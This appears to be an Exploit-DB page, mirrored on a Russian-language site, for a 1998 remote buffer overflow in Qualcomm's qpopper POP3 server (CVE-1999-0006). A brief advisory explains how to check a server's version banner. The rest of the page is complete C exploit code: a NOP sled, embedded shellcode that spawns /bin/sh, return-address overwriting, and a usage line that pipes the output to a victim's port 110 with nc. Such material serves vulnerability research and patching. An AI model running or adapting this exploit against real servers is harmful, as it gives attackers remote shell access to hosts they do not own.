- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 19109
- Проверка EDB
-
- Пройдено
- Автор
- SETH MCGANN
- Тип уязвимости
- REMOTE
- Платформа
- LINUX
- CVE
- cve-1999-0006
- Дата публикации
- 1998-06-27
C:
// source: https://www.securityfocus.com/bid/133/info
A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version.
To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example:
% telnet yourmailhost.your.domain.com 110
Trying 123.123.123.123
Connected to mailhost
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting
If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.
/* Exploit for qpopper 2.4 (and others) for Linux
* by [WaR] ([email protected]) and zav ([email protected])
*
* usage: (./qpopper <offset>;cat)|nc <victim> 110
* with offset around 1000 (try increments of 50)
*
*
* shout outs to: Zef and YZF
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFFSIZE 998
char shell[] =
"\xeb\x33\x5e\x89\x76\x08\x31\xc0"
"\x88\x66\x07\x83\xee\x02\x31\xdb"
"\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
"\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
"\xee\x02\x8d\x5e\x0e\x89\xda\x83"
"\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
"\xff\xff/bin/sh";
unsigned long esp()
{
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv)
{
int i,j,offset;
unsigned long eip;
char buffer[4096];
j=0;
offset=atoi(argv[1]);
eip=esp()+offset;
for(i=0;i<1008;i++) buffer[i]=0x90;
for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];
i=1005;
buffer[i]=eip & 0xff;
buffer[i+1]=(eip >> 8) & 0xff;
buffer[i+2]=(eip >> 16) & 0xff;
buffer[i+3]=(eip >> 24) & 0xff;
printf("%s\nsh -i\n",buffer);
}
- Источник
- www.exploit-db.com